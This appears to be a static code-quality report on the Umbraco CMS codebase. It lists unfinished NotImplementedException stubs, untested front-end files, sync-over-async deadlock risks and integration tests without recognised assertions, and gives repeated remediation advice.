Unfinished stub — throws NotImplementedException src/Umbraco.Core/Services/IContentEditingService.cs:52— A shipped member still throws NotImplementedException — generated scaffolding that was never completed. Implement it or remove the dead surface.
Unfinished stub — throws NotImplementedException src/Umbraco.Core/Services/IContentEditingService.cs:73— A shipped member still throws NotImplementedException — generated scaffolding that was never completed. Implement it or remove the dead surface.
Unfinished stub — throws NotImplementedException src/Umbraco.Core/Services/IContentEditingService.cs:130— A shipped member still throws NotImplementedException — generated scaffolding that was never completed. Implement it or remove the dead surface.
Unfinished stub — throws NotImplementedException src/Umbraco.Core/Services/IContentService.cs:50— A shipped member still throws NotImplementedException — generated scaffolding that was never completed. Implement it or remove the dead surface.
+ 15 more in this group — see findings.md.
R4 · Test Coverage· No test reaches this file · ×40
No test reaches this file src/Umbraco.Web.UI.Login/src/auth.element.ts— No test imports this module directly or transitively. Import reachability cannot see a test that executes a file by path instead of importing it, nor one that drives it through a running browser by navigating to a URL — if neither does, no test reaches this one.
No test reaches this file src/Umbraco.Web.UI.Client/devops/icon-manager/icon-editor.element.ts— No test imports this module directly or transitively. Import reachability cannot see a test that executes a file by path instead of importing it, nor one that drives it through a running browser by navigating to a URL — if neither does, no test reaches this one.
No test reaches this file src/Umbraco.Web.UI.Client/devops/icon-manager/icon-manager-app.element.ts— No test imports this module directly or transitively. Import reachability cannot see a test that executes a file by path instead of importing it, nor one that drives it through a running browser by navigating to a URL — if neither does, no test reaches this one.
No test reaches this file src/Umbraco.Web.UI.Client/devops/icons/index.js— No test imports this module directly or transitively. Import reachability cannot see a test that executes a file by path instead of importing it, nor one that drives it through a running browser by navigating to a URL — if neither does, no test reaches this one.
No test reaches this file src/Umbraco.Web.UI.Login/src/components/layouts/new-password-layout.element.ts— No test imports this module directly or transitively. Import reachability cannot see a test that executes a file by path instead of importing it, nor one that drives it through a running browser by navigating to a URL — if neither does, no test reaches this one.
No test reaches this file src/Umbraco.Web.UI.Client/devops/eslint/rules/enforce-manifest-alias.cjs— No test imports this module directly or transitively. Import reachability cannot see a test that executes a file by path instead of importing it, nor one that drives it through a running browser by navigating to a URL — if neither does, no test reaches this one.
No test reaches this file src/Umbraco.Web.UI.Login/src/components/pages/login.page.element.ts— No test imports this module directly or transitively. Import reachability cannot see a test that executes a file by path instead of importing it, nor one that drives it through a running browser by navigating to a URL — if neither does, no test reaches this one.
No test reaches this file src/Umbraco.Web.UI.Client/src/packages/elements/folder/user-permissions/input-element-folder-granular-user-permission.element.ts— No test imports this module directly or transitively. Import reachability cannot see a test that executes a file by path instead of importing it, nor one that drives it through a running browser by navigating to a URL — if neither does, no test reaches this one.
No test reaches this file src/Umbraco.Web.UI.Login/src/components/pages/mfa.page.element.ts— No test imports this module directly or transitively. Import reachability cannot see a test that executes a file by path instead of importing it, nor one that drives it through a running browser by navigating to a URL — if neither does, no test reaches this one.
No test reaches this file src/Umbraco.Web.UI.Client/devops/module-dependencies/index.js— No test imports this module directly or transitively. Import reachability cannot see a test that executes a file by path instead of importing it, nor one that drives it through a running browser by navigating to a URL — if neither does, no test reaches this one.
No test reaches this file src/Umbraco.Web.UI.Login/src/components/layouts/auth-layout.element.ts— No test imports this module directly or transitively. Import reachability cannot see a test that executes a file by path instead of importing it, nor one that drives it through a running browser by navigating to a URL — if neither does, no test reaches this one.
No test reaches this file src/Umbraco.Web.UI.Login/src/contexts/auth.repository.ts— No test imports this module directly or transitively. Import reachability cannot see a test that executes a file by path instead of importing it, nor one that drives it through a running browser by navigating to a URL — if neither does, no test reaches this one.
No test reaches this file src/Umbraco.Web.UI.Client/src/packages/documents/documents/audit-log/info-app/document-history-workspace-info-app.element.ts— No test imports this module directly or transitively. Import reachability cannot see a test that executes a file by path instead of importing it, nor one that drives it through a running browser by navigating to a URL — if neither does, no test reaches this one.
No test reaches this file templates/UmbracoExtension/Client/src/dashboards/dashboard.element.ts— No test imports this module directly or transitively. Import reachability cannot see a test that executes a file by path instead of importing it, nor one that drives it through a running browser by navigating to a URL — if neither does, no test reaches this one.
No test reaches this file src/Umbraco.Web.UI.Client/src/packages/media/media/audit-log/info-app/media-history-workspace-info-app.element.ts— No test imports this module directly or transitively. Import reachability cannot see a test that executes a file by path instead of importing it, nor one that drives it through a running browser by navigating to a URL — if neither does, no test reaches this one.
No test reaches this file src/Umbraco.Web.UI.Client/devops/check-duplicate-class-names/index.js— No test imports this module directly or transitively. Import reachability cannot see a test that executes a file by path instead of importing it, nor one that drives it through a running browser by navigating to a URL — if neither does, no test reaches this one.
No test reaches this file src/Umbraco.Web.UI.Client/devops/eslint/rules/no-unsafe-localize.cjs— No test imports this module directly or transitively. Import reachability cannot see a test that executes a file by path instead of importing it, nor one that drives it through a running browser by navigating to a URL — if neither does, no test reaches this one.
No test reaches this file src/Umbraco.Web.UI.Login/src/components/pages/reset-password.page.element.ts— No test imports this module directly or transitively. Import reachability cannot see a test that executes a file by path instead of importing it, nor one that drives it through a running browser by navigating to a URL — if neither does, no test reaches this one.
No test reaches this file src/Umbraco.Web.UI.Client/devops/icon-manager/icon-card.element.ts— No test imports this module directly or transitively. Import reachability cannot see a test that executes a file by path instead of importing it, nor one that drives it through a running browser by navigating to a URL — if neither does, no test reaches this one.
No test reaches this file src/Umbraco.Web.UI.Login/src/components/pages/new-password.page.element.ts— No test imports this module directly or transitively. Import reachability cannot see a test that executes a file by path instead of importing it, nor one that drives it through a running browser by navigating to a URL — if neither does, no test reaches this one.
No test reaches this file src/Umbraco.Web.UI.Client/devops/eslint/rules/no-unknown-localization-key.cjs— No test imports this module directly or transitively. Import reachability cannot see a test that executes a file by path instead of importing it, nor one that drives it through a running browser by navigating to a URL — if neither does, no test reaches this one.
No test reaches this file src/Umbraco.Web.UI.Client/devops/tsc-override/index.js— No test imports this module directly or transitively. Import reachability cannot see a test that executes a file by path instead of importing it, nor one that drives it through a running browser by navigating to a URL — if neither does, no test reaches this one.
No test reaches this file src/Umbraco.Web.UI.Client/public/umbServiceWorker.js— No test imports this module directly or transitively. Import reachability cannot see a test that executes a file by path instead of importing it, nor one that drives it through a running browser by navigating to a URL — if neither does, no test reaches this one.
No test reaches this file src/Umbraco.Web.UI.Login/src/components/pages/invite.page.element.ts— No test imports this module directly or transitively. Import reachability cannot see a test that executes a file by path instead of importing it, nor one that drives it through a running browser by navigating to a URL — if neither does, no test reaches this one.
No test reaches this file src/Umbraco.Web.UI.Client/devops/circular/index.js— No test imports this module directly or transitively. Import reachability cannot see a test that executes a file by path instead of importing it, nor one that drives it through a running browser by navigating to a URL — if neither does, no test reaches this one.
Sync-over-async (deadlock risk) src/Umbraco.Core/Cache/DataTypeConfigurationCache.cs:41— Blocking on a Task with `.Wait()`/`.GetAwaiter().GetResult()` can deadlock (and wastes a thread). Prefer awaiting it: make the caller `async` and `await` instead. Where a synchronous entry point must stay — a public sync API you cannot break, or a process entry point that must not return until the work finishes — the block belongs in ONE documented bridge and never inside code that is already async; and where it already is that bridge, give the wait a TIMEOUT so a hung task fails the call instead of hanging the process.
Sync-over-async (deadlock risk) src/Umbraco.Core/Cache/Refreshers/Implement/ContentCacheRefresher.cs:293— Blocking on a Task with `.Wait()`/`.GetAwaiter().GetResult()` can deadlock (and wastes a thread). Prefer awaiting it: make the caller `async` and `await` instead. Where a synchronous entry point must stay — a public sync API you cannot break, or a process entry point that must not return until the work finishes — the block belongs in ONE documented bridge and never inside code that is already async; and where it already is that bridge, give the wait a TIMEOUT so a hung task fails the call instead of hanging the process.
Sync-over-async (deadlock risk) src/Umbraco.Core/Cache/Refreshers/Implement/ContentCacheRefresher.cs:354— Blocking on a Task with `.Wait()`/`.GetAwaiter().GetResult()` can deadlock (and wastes a thread). Prefer awaiting it: make the caller `async` and `await` instead. Where a synchronous entry point must stay — a public sync API you cannot break, or a process entry point that must not return until the work finishes — the block belongs in ONE documented bridge and never inside code that is already async; and where it already is that bridge, give the wait a TIMEOUT so a hung task fails the call instead of hanging the process.
Sync-over-async (deadlock risk) src/Umbraco.Core/Cache/Refreshers/Implement/ContentCacheRefresher.cs:374— Blocking on a Task with `.Wait()`/`.GetAwaiter().GetResult()` can deadlock (and wastes a thread). Prefer awaiting it: make the caller `async` and `await` instead. Where a synchronous entry point must stay — a public sync API you cannot break, or a process entry point that must not return until the work finishes — the block belongs in ONE documented bridge and never inside code that is already async; and where it already is that bridge, give the wait a TIMEOUT so a hung task fails the call instead of hanging the process.
Sync-over-async (deadlock risk) src/Umbraco.Core/Cache/Refreshers/Implement/ContentCacheRefresher.cs:378— Blocking on a Task with `.Wait()`/`.GetAwaiter().GetResult()` can deadlock (and wastes a thread). Prefer awaiting it: make the caller `async` and `await` instead. Where a synchronous entry point must stay — a public sync API you cannot break, or a process entry point that must not return until the work finishes — the block belongs in ONE documented bridge and never inside code that is already async; and where it already is that bridge, give the wait a TIMEOUT so a hung task fails the call instead of hanging the process.
Sync-over-async (deadlock risk) src/Umbraco.Core/Cache/Refreshers/Implement/ContentCacheRefresher.cs:385— Blocking on a Task with `.Wait()`/`.GetAwaiter().GetResult()` can deadlock (and wastes a thread). Prefer awaiting it: make the caller `async` and `await` instead. Where a synchronous entry point must stay — a public sync API you cannot break, or a process entry point that must not return until the work finishes — the block belongs in ONE documented bridge and never inside code that is already async; and where it already is that bridge, give the wait a TIMEOUT so a hung task fails the call instead of hanging the process.
Sync-over-async (deadlock risk) src/Umbraco.Core/Cache/Refreshers/Implement/ContentCacheRefresher.cs:390— Blocking on a Task with `.Wait()`/`.GetAwaiter().GetResult()` can deadlock (and wastes a thread). Prefer awaiting it: make the caller `async` and `await` instead. Where a synchronous entry point must stay — a public sync API you cannot break, or a process entry point that must not return until the work finishes — the block belongs in ONE documented bridge and never inside code that is already async; and where it already is that bridge, give the wait a TIMEOUT so a hung task fails the call instead of hanging the process.
Sync-over-async (deadlock risk) src/Umbraco.Core/Cache/Refreshers/Implement/ContentCacheRefresher.cs:412— Blocking on a Task with `.Wait()`/`.GetAwaiter().GetResult()` can deadlock (and wastes a thread). Prefer awaiting it: make the caller `async` and `await` instead. Where a synchronous entry point must stay — a public sync API you cannot break, or a process entry point that must not return until the work finishes — the block belongs in ONE documented bridge and never inside code that is already async; and where it already is that bridge, give the wait a TIMEOUT so a hung task fails the call instead of hanging the process.
Sync-over-async (deadlock risk) src/Umbraco.Core/Cache/Refreshers/Implement/ContentCacheRefresher.cs:413— Blocking on a Task with `.Wait()`/`.GetAwaiter().GetResult()` can deadlock (and wastes a thread). Prefer awaiting it: make the caller `async` and `await` instead. Where a synchronous entry point must stay — a public sync API you cannot break, or a process entry point that must not return until the work finishes — the block belongs in ONE documented bridge and never inside code that is already async; and where it already is that bridge, give the wait a TIMEOUT so a hung task fails the call instead of hanging the process.
Sync-over-async (deadlock risk) src/Umbraco.Core/Cache/Refreshers/Implement/ContentCacheRefresher.cs:417— Blocking on a Task with `.Wait()`/`.GetAwaiter().GetResult()` can deadlock (and wastes a thread). Prefer awaiting it: make the caller `async` and `await` instead. Where a synchronous entry point must stay — a public sync API you cannot break, or a process entry point that must not return until the work finishes — the block belongs in ONE documented bridge and never inside code that is already async; and where it already is that bridge, give the wait a TIMEOUT so a hung task fails the call instead of hanging the process.
Sync-over-async (deadlock risk) src/Umbraco.Core/Cache/Refreshers/Implement/ContentCacheRefresher.cs:418— Blocking on a Task with `.Wait()`/`.GetAwaiter().GetResult()` can deadlock (and wastes a thread). Prefer awaiting it: make the caller `async` and `await` instead. Where a synchronous entry point must stay — a public sync API you cannot break, or a process entry point that must not return until the work finishes — the block belongs in ONE documented bridge and never inside code that is already async; and where it already is that bridge, give the wait a TIMEOUT so a hung task fails the call instead of hanging the process.
Sync-over-async (deadlock risk) src/Umbraco.Core/Cache/Refreshers/Implement/ContentCacheRefresher.cs:424— Blocking on a Task with `.Wait()`/`.GetAwaiter().GetResult()` can deadlock (and wastes a thread). Prefer awaiting it: make the caller `async` and `await` instead. Where a synchronous entry point must stay — a public sync API you cannot break, or a process entry point that must not return until the work finishes — the block belongs in ONE documented bridge and never inside code that is already async; and where it already is that bridge, give the wait a TIMEOUT so a hung task fails the call instead of hanging the process.
Sync-over-async (deadlock risk) src/Umbraco.Core/Cache/Refreshers/Implement/ContentCacheRefresher.cs:425— Blocking on a Task with `.Wait()`/`.GetAwaiter().GetResult()` can deadlock (and wastes a thread). Prefer awaiting it: make the caller `async` and `await` instead. Where a synchronous entry point must stay — a public sync API you cannot break, or a process entry point that must not return until the work finishes — the block belongs in ONE documented bridge and never inside code that is already async; and where it already is that bridge, give the wait a TIMEOUT so a hung task fails the call instead of hanging the process.
Sync-over-async (deadlock risk) src/Umbraco.Core/Cache/Refreshers/Implement/ContentCacheRefresher.cs:431— Blocking on a Task with `.Wait()`/`.GetAwaiter().GetResult()` can deadlock (and wastes a thread). Prefer awaiting it: make the caller `async` and `await` instead. Where a synchronous entry point must stay — a public sync API you cannot break, or a process entry point that must not return until the work finishes — the block belongs in ONE documented bridge and never inside code that is already async; and where it already is that bridge, give the wait a TIMEOUT so a hung task fails the call instead of hanging the process.
Sync-over-async (deadlock risk) src/Umbraco.Core/Cache/Refreshers/Implement/ContentCacheRefresher.cs:432— Blocking on a Task with `.Wait()`/`.GetAwaiter().GetResult()` can deadlock (and wastes a thread). Prefer awaiting it: make the caller `async` and `await` instead. Where a synchronous entry point must stay — a public sync API you cannot break, or a process entry point that must not return until the work finishes — the block belongs in ONE documented bridge and never inside code that is already async; and where it already is that bridge, give the wait a TIMEOUT so a hung task fails the call instead of hanging the process.
Sync-over-async (deadlock risk) src/Umbraco.Core/Cache/Refreshers/Implement/ContentCacheRefresher.cs:438— Blocking on a Task with `.Wait()`/`.GetAwaiter().GetResult()` can deadlock (and wastes a thread). Prefer awaiting it: make the caller `async` and `await` instead. Where a synchronous entry point must stay — a public sync API you cannot break, or a process entry point that must not return until the work finishes — the block belongs in ONE documented bridge and never inside code that is already async; and where it already is that bridge, give the wait a TIMEOUT so a hung task fails the call instead of hanging the process.
Sync-over-async (deadlock risk) src/Umbraco.Core/Cache/Refreshers/Implement/ContentCacheRefresher.cs:439— Blocking on a Task with `.Wait()`/`.GetAwaiter().GetResult()` can deadlock (and wastes a thread). Prefer awaiting it: make the caller `async` and `await` instead. Where a synchronous entry point must stay — a public sync API you cannot break, or a process entry point that must not return until the work finishes — the block belongs in ONE documented bridge and never inside code that is already async; and where it already is that bridge, give the wait a TIMEOUT so a hung task fails the call instead of hanging the process.
Sync-over-async (deadlock risk) src/Umbraco.Core/Cache/Refreshers/Implement/ContentCacheRefresher.cs:447— Blocking on a Task with `.Wait()`/`.GetAwaiter().GetResult()` can deadlock (and wastes a thread). Prefer awaiting it: make the caller `async` and `await` instead. Where a synchronous entry point must stay — a public sync API you cannot break, or a process entry point that must not return until the work finishes — the block belongs in ONE documented bridge and never inside code that is already async; and where it already is that bridge, give the wait a TIMEOUT so a hung task fails the call instead of hanging the process.
Sync-over-async (deadlock risk) src/Umbraco.Core/Cache/Refreshers/Implement/ContentCacheRefresher.cs:448— Blocking on a Task with `.Wait()`/`.GetAwaiter().GetResult()` can deadlock (and wastes a thread). Prefer awaiting it: make the caller `async` and `await` instead. Where a synchronous entry point must stay — a public sync API you cannot break, or a process entry point that must not return until the work finishes — the block belongs in ONE documented bridge and never inside code that is already async; and where it already is that bridge, give the wait a TIMEOUT so a hung task fails the call instead of hanging the process.
Sync-over-async (deadlock risk) src/Umbraco.Core/Cache/Refreshers/Implement/ContentCacheRefresher.cs:601— Blocking on a Task with `.Wait()`/`.GetAwaiter().GetResult()` can deadlock (and wastes a thread). Prefer awaiting it: make the caller `async` and `await` instead. Where a synchronous entry point must stay — a public sync API you cannot break, or a process entry point that must not return until the work finishes — the block belongs in ONE documented bridge and never inside code that is already async; and where it already is that bridge, give the wait a TIMEOUT so a hung task fails the call instead of hanging the process.
Sync-over-async (deadlock risk) src/Umbraco.Core/Cache/Refreshers/Implement/ContentTypeCacheRefresher.cs:274— Blocking on a Task with `.Wait()`/`.GetAwaiter().GetResult()` can deadlock (and wastes a thread). Prefer awaiting it: make the caller `async` and `await` instead. Where a synchronous entry point must stay — a public sync API you cannot break, or a process entry point that must not return until the work finishes — the block belongs in ONE documented bridge and never inside code that is already async; and where it already is that bridge, give the wait a TIMEOUT so a hung task fails the call instead of hanging the process.
Sync-over-async (deadlock risk) src/Umbraco.Core/Cache/Refreshers/Implement/ContentTypeCacheRefresher.cs:279— Blocking on a Task with `.Wait()`/`.GetAwaiter().GetResult()` can deadlock (and wastes a thread). Prefer awaiting it: make the caller `async` and `await` instead. Where a synchronous entry point must stay — a public sync API you cannot break, or a process entry point that must not return until the work finishes — the block belongs in ONE documented bridge and never inside code that is already async; and where it already is that bridge, give the wait a TIMEOUT so a hung task fails the call instead of hanging the process.
Sync-over-async (deadlock risk) src/Umbraco.Core/Cache/Refreshers/Implement/ContentTypeCacheRefresher.cs:284— Blocking on a Task with `.Wait()`/`.GetAwaiter().GetResult()` can deadlock (and wastes a thread). Prefer awaiting it: make the caller `async` and `await` instead. Where a synchronous entry point must stay — a public sync API you cannot break, or a process entry point that must not return until the work finishes — the block belongs in ONE documented bridge and never inside code that is already async; and where it already is that bridge, give the wait a TIMEOUT so a hung task fails the call instead of hanging the process.
Sync-over-async (deadlock risk) src/Umbraco.Core/Cache/Refreshers/Implement/DataTypeCacheRefresher.cs:178— Blocking on a Task with `.Wait()`/`.GetAwaiter().GetResult()` can deadlock (and wastes a thread). Prefer awaiting it: make the caller `async` and `await` instead. Where a synchronous entry point must stay — a public sync API you cannot break, or a process entry point that must not return until the work finishes — the block belongs in ONE documented bridge and never inside code that is already async; and where it already is that bridge, give the wait a TIMEOUT so a hung task fails the call instead of hanging the process.
Sync-over-async (deadlock risk) src/Umbraco.Core/Cache/Refreshers/Implement/DataTypeCacheRefresher.cs:183— Blocking on a Task with `.Wait()`/`.GetAwaiter().GetResult()` can deadlock (and wastes a thread). Prefer awaiting it: make the caller `async` and `await` instead. Where a synchronous entry point must stay — a public sync API you cannot break, or a process entry point that must not return until the work finishes — the block belongs in ONE documented bridge and never inside code that is already async; and where it already is that bridge, give the wait a TIMEOUT so a hung task fails the call instead of hanging the process.
No assertions: SingleReadLockTest tests/Umbraco.Tests.Integration/Umbraco.Infrastructure/Persistence/LocksTests.cs:41— This method's body runs code, and no assertion call was recognised in it. Recognised by name: Assert*, *Should*/ShouldBe*, Verify, Expect, Throws, Record, Received/DidNotReceive, MustHaveHappened/MustNotHaveHappened, EnsureSuccessStatusCode and *AndEnsure* — so verification routed through a helper of your own naming, through a base-class or callback object whose members hold the assertions, or through a harness that fails by throwing under some other name, is not visible to this check and is not counted here. Read it as 'no assertion this check knows how to see', and if that is right, add one.
No assertions: ReadLockExisting tests/Umbraco.Tests.Integration/Umbraco.Infrastructure/Persistence/UnitOfWorkTests.cs:37— This method's body runs code, and no assertion call was recognised in it. Recognised by name: Assert*, *Should*/ShouldBe*, Verify, Expect, Throws, Record, Received/DidNotReceive, MustHaveHappened/MustNotHaveHappened, EnsureSuccessStatusCode and *AndEnsure* — so verification routed through a helper of your own naming, through a base-class or callback object whose members hold the assertions, or through a harness that fails by throwing under some other name, is not visible to this check and is not counted here. Read it as 'no assertion this check knows how to see', and if that is right, add one.
No assertions: WriteLockExisting tests/Umbraco.Tests.Integration/Umbraco.Infrastructure/Persistence/UnitOfWorkTests.cs:62— This method's body runs code, and no assertion call was recognised in it. Recognised by name: Assert*, *Should*/ShouldBe*, Verify, Expect, Throws, Record, Received/DidNotReceive, MustHaveHappened/MustNotHaveHappened, EnsureSuccessStatusCode and *AndEnsure* — so verification routed through a helper of your own naming, through a base-class or callback object whose members hold the assertions, or through a harness that fails by throwing under some other name, is not visible to this check and is not counted here. Read it as 'no assertion this check knows how to see', and if that is right, add one.
No assertions: CanNestScopes_Normal_Core_EFCore tests/Umbraco.Tests.Integration/Umbraco.Infrastructure/Scoping/NestedScopeTests.cs:33— This method's body runs code, and no assertion call was recognised in it. Recognised by name: Assert*, *Should*/ShouldBe*, Verify, Expect, Throws, Record, Received/DidNotReceive, MustHaveHappened/MustNotHaveHappened, EnsureSuccessStatusCode and *AndEnsure* — so verification routed through a helper of your own naming, through a base-class or callback object whose members hold the assertions, or through a harness that fails by throwing under some other name, is not visible to this check and is not counted here. Read it as 'no assertion this check knows how to see', and if that is right, add one.
No assertions: CanNestScopes_Normal_EFCore_Core tests/Umbraco.Tests.Integration/Umbraco.Infrastructure/Scoping/NestedScopeTests.cs:56— This method's body runs code, and no assertion call was recognised in it. Recognised by name: Assert*, *Should*/ShouldBe*, Verify, Expect, Throws, Record, Received/DidNotReceive, MustHaveHappened/MustNotHaveHappened, EnsureSuccessStatusCode and *AndEnsure* — so verification routed through a helper of your own naming, through a base-class or callback object whose members hold the assertions, or through a harness that fails by throwing under some other name, is not visible to this check and is not counted here. Read it as 'no assertion this check knows how to see', and if that is right, add one.
No assertions: CanNestScopes_Core_Normal_EFCore tests/Umbraco.Tests.Integration/Umbraco.Infrastructure/Scoping/NestedScopeTests.cs:79— This method's body runs code, and no assertion call was recognised in it. Recognised by name: Assert*, *Should*/ShouldBe*, Verify, Expect, Throws, Record, Received/DidNotReceive, MustHaveHappened/MustNotHaveHappened, EnsureSuccessStatusCode and *AndEnsure* — so verification routed through a helper of your own naming, through a base-class or callback object whose members hold the assertions, or through a harness that fails by throwing under some other name, is not visible to this check and is not counted here. Read it as 'no assertion this check knows how to see', and if that is right, add one.
No assertions: CanNestScopes_Core_EFCore_Normal tests/Umbraco.Tests.Integration/Umbraco.Infrastructure/Scoping/NestedScopeTests.cs:102— This method's body runs code, and no assertion call was recognised in it. Recognised by name: Assert*, *Should*/ShouldBe*, Verify, Expect, Throws, Record, Received/DidNotReceive, MustHaveHappened/MustNotHaveHappened, EnsureSuccessStatusCode and *AndEnsure* — so verification routed through a helper of your own naming, through a base-class or callback object whose members hold the assertions, or through a harness that fails by throwing under some other name, is not visible to this check and is not counted here. Read it as 'no assertion this check knows how to see', and if that is right, add one.
No assertions: CanNestScopes_EFCore_Normal_Core tests/Umbraco.Tests.Integration/Umbraco.Infrastructure/Scoping/NestedScopeTests.cs:125— This method's body runs code, and no assertion call was recognised in it. Recognised by name: Assert*, *Should*/ShouldBe*, Verify, Expect, Throws, Record, Received/DidNotReceive, MustHaveHappened/MustNotHaveHappened, EnsureSuccessStatusCode and *AndEnsure* — so verification routed through a helper of your own naming, through a base-class or callback object whose members hold the assertions, or through a harness that fails by throwing under some other name, is not visible to this check and is not counted here. Read it as 'no assertion this check knows how to see', and if that is right, add one.
No assertions: CanNestScopes_EFCore_Core_Normal tests/Umbraco.Tests.Integration/Umbraco.Infrastructure/Scoping/NestedScopeTests.cs:148— This method's body runs code, and no assertion call was recognised in it. Recognised by name: Assert*, *Should*/ShouldBe*, Verify, Expect, Throws, Record, Received/DidNotReceive, MustHaveHappened/MustNotHaveHappened, EnsureSuccessStatusCode and *AndEnsure* — so verification routed through a helper of your own naming, through a base-class or callback object whose members hold the assertions, or through a harness that fails by throwing under some other name, is not visible to this check and is not counted here. Read it as 'no assertion this check knows how to see', and if that is right, add one.
No assertions: CanNestScopes_Normal_Normal tests/Umbraco.Tests.Integration/Umbraco.Infrastructure/Scoping/NestedScopeTests.cs:171— This method's body runs code, and no assertion call was recognised in it. Recognised by name: Assert*, *Should*/ShouldBe*, Verify, Expect, Throws, Record, Received/DidNotReceive, MustHaveHappened/MustNotHaveHappened, EnsureSuccessStatusCode and *AndEnsure* — so verification routed through a helper of your own naming, through a base-class or callback object whose members hold the assertions, or through a harness that fails by throwing under some other name, is not visible to this check and is not counted here. Read it as 'no assertion this check knows how to see', and if that is right, add one.
No assertions: CanNestScopes_Core_Core tests/Umbraco.Tests.Integration/Umbraco.Infrastructure/Scoping/NestedScopeTests.cs:188— This method's body runs code, and no assertion call was recognised in it. Recognised by name: Assert*, *Should*/ShouldBe*, Verify, Expect, Throws, Record, Received/DidNotReceive, MustHaveHappened/MustNotHaveHappened, EnsureSuccessStatusCode and *AndEnsure* — so verification routed through a helper of your own naming, through a base-class or callback object whose members hold the assertions, or through a harness that fails by throwing under some other name, is not visible to this check and is not counted here. Read it as 'no assertion this check knows how to see', and if that is right, add one.
No assertions: CanNestScopes_EFCore_EFCore tests/Umbraco.Tests.Integration/Umbraco.Infrastructure/Scoping/NestedScopeTests.cs:205— This method's body runs code, and no assertion call was recognised in it. Recognised by name: Assert*, *Should*/ShouldBe*, Verify, Expect, Throws, Record, Received/DidNotReceive, MustHaveHappened/MustNotHaveHappened, EnsureSuccessStatusCode and *AndEnsure* — so verification routed through a helper of your own naming, through a base-class or callback object whose members hold the assertions, or through a harness that fails by throwing under some other name, is not visible to this check and is not counted here. Read it as 'no assertion this check knows how to see', and if that is right, add one.
No assertions: Factory_Created_DbContext_Has_Valid_ConnectionString_After_Scope_Disposes tests/Umbraco.Tests.Integration/Umbraco.Persistence.EFCore/DbContext/PooledDbContextConnectionTaintingTests.cs:38— This method's body runs code, and no assertion call was recognised in it. Recognised by name: Assert*, *Should*/ShouldBe*, Verify, Expect, Throws, Record, Received/DidNotReceive, MustHaveHappened/MustNotHaveHappened, EnsureSuccessStatusCode and *AndEnsure* — so verification routed through a helper of your own naming, through a base-class or callback object whose members hold the assertions, or through a harness that fails by throwing under some other name, is not visible to this check and is not counted here. Read it as 'no assertion this check knows how to see', and if that is right, add one.
No assertions: Can_Use_Factory_DbContext_For_Migrations_After_Scope_Usage tests/Umbraco.Tests.Integration/Umbraco.Persistence.EFCore/DbContext/PooledDbContextConnectionTaintingTests.cs:75— This method's body runs code, and no assertion call was recognised in it. Recognised by name: Assert*, *Should*/ShouldBe*, Verify, Expect, Throws, Record, Received/DidNotReceive, MustHaveHappened/MustNotHaveHappened, EnsureSuccessStatusCode and *AndEnsure* — so verification routed through a helper of your own naming, through a base-class or callback object whose members hold the assertions, or through a harness that fails by throwing under some other name, is not visible to this check and is not counted here. Read it as 'no assertion this check knows how to see', and if that is right, add one.
No assertions: SingleEagerReadLockTest tests/Umbraco.Tests.Integration/Umbraco.Persistence.EFCore/Scoping/EFCoreLockTests.cs:51— This method's body runs code, and no assertion call was recognised in it. Recognised by name: Assert*, *Should*/ShouldBe*, Verify, Expect, Throws, Record, Received/DidNotReceive, MustHaveHappened/MustNotHaveHappened, EnsureSuccessStatusCode and *AndEnsure* — so verification routed through a helper of your own naming, through a base-class or callback object whose members hold the assertions, or through a harness that fails by throwing under some other name, is not visible to this check and is not counted here. Read it as 'no assertion this check knows how to see', and if that is right, add one.
No assertions: SingleReadLockTest tests/Umbraco.Tests.Integration/Umbraco.Persistence.EFCore/Scoping/EFCoreLockTests.cs:59— This method's body runs code, and no assertion call was recognised in it. Recognised by name: Assert*, *Should*/ShouldBe*, Verify, Expect, Throws, Record, Received/DidNotReceive, MustHaveHappened/MustNotHaveHappened, EnsureSuccessStatusCode and *AndEnsure* — so verification routed through a helper of your own naming, through a base-class or callback object whose members hold the assertions, or through a harness that fails by throwing under some other name, is not visible to this check and is not counted here. Read it as 'no assertion this check knows how to see', and if that is right, add one.
No assertions: SingleWriteLockTest tests/Umbraco.Tests.Integration/Umbraco.Persistence.EFCore/Scoping/EFCoreLockTests.cs:67— This method's body runs code, and no assertion call was recognised in it. Recognised by name: Assert*, *Should*/ShouldBe*, Verify, Expect, Throws, Record, Received/DidNotReceive, MustHaveHappened/MustNotHaveHappened, EnsureSuccessStatusCode and *AndEnsure* — so verification routed through a helper of your own naming, through a base-class or callback object whose members hold the assertions, or through a harness that fails by throwing under some other name, is not visible to this check and is not counted here. Read it as 'no assertion this check knows how to see', and if that is right, add one.
No assertions: SingleEagerWriteLockTest tests/Umbraco.Tests.Integration/Umbraco.Persistence.EFCore/Scoping/EFCoreLockTests.cs:75— This method's body runs code, and no assertion call was recognised in it. Recognised by name: Assert*, *Should*/ShouldBe*, Verify, Expect, Throws, Record, Received/DidNotReceive, MustHaveHappened/MustNotHaveHappened, EnsureSuccessStatusCode and *AndEnsure* — so verification routed through a helper of your own naming, through a base-class or callback object whose members hold the assertions, or through a harness that fails by throwing under some other name, is not visible to this check and is not counted here. Read it as 'no assertion this check knows how to see', and if that is right, add one.
No assertions: Can_Reacquire_Read_Lock tests/Umbraco.Tests.Integration/Umbraco.Persistence.EFCore/Scoping/EFCoreLockTests.cs:83— This method's body runs code, and no assertion call was recognised in it. Recognised by name: Assert*, *Should*/ShouldBe*, Verify, Expect, Throws, Record, Received/DidNotReceive, MustHaveHappened/MustNotHaveHappened, EnsureSuccessStatusCode and *AndEnsure* — so verification routed through a helper of your own naming, through a base-class or callback object whose members hold the assertions, or through a harness that fails by throwing under some other name, is not visible to this check and is not counted here. Read it as 'no assertion this check knows how to see', and if that is right, add one.
No assertions: Can_Reacquire_Write_Lock tests/Umbraco.Tests.Integration/Umbraco.Persistence.EFCore/Scoping/EFCoreLockTests.cs:99— This method's body runs code, and no assertion call was recognised in it. Recognised by name: Assert*, *Should*/ShouldBe*, Verify, Expect, Throws, Record, Received/DidNotReceive, MustHaveHappened/MustNotHaveHappened, EnsureSuccessStatusCode and *AndEnsure* — so verification routed through a helper of your own naming, through a base-class or callback object whose members hold the assertions, or through a harness that fails by throwing under some other name, is not visible to this check and is not counted here. Read it as 'no assertion this check knows how to see', and if that is right, add one.
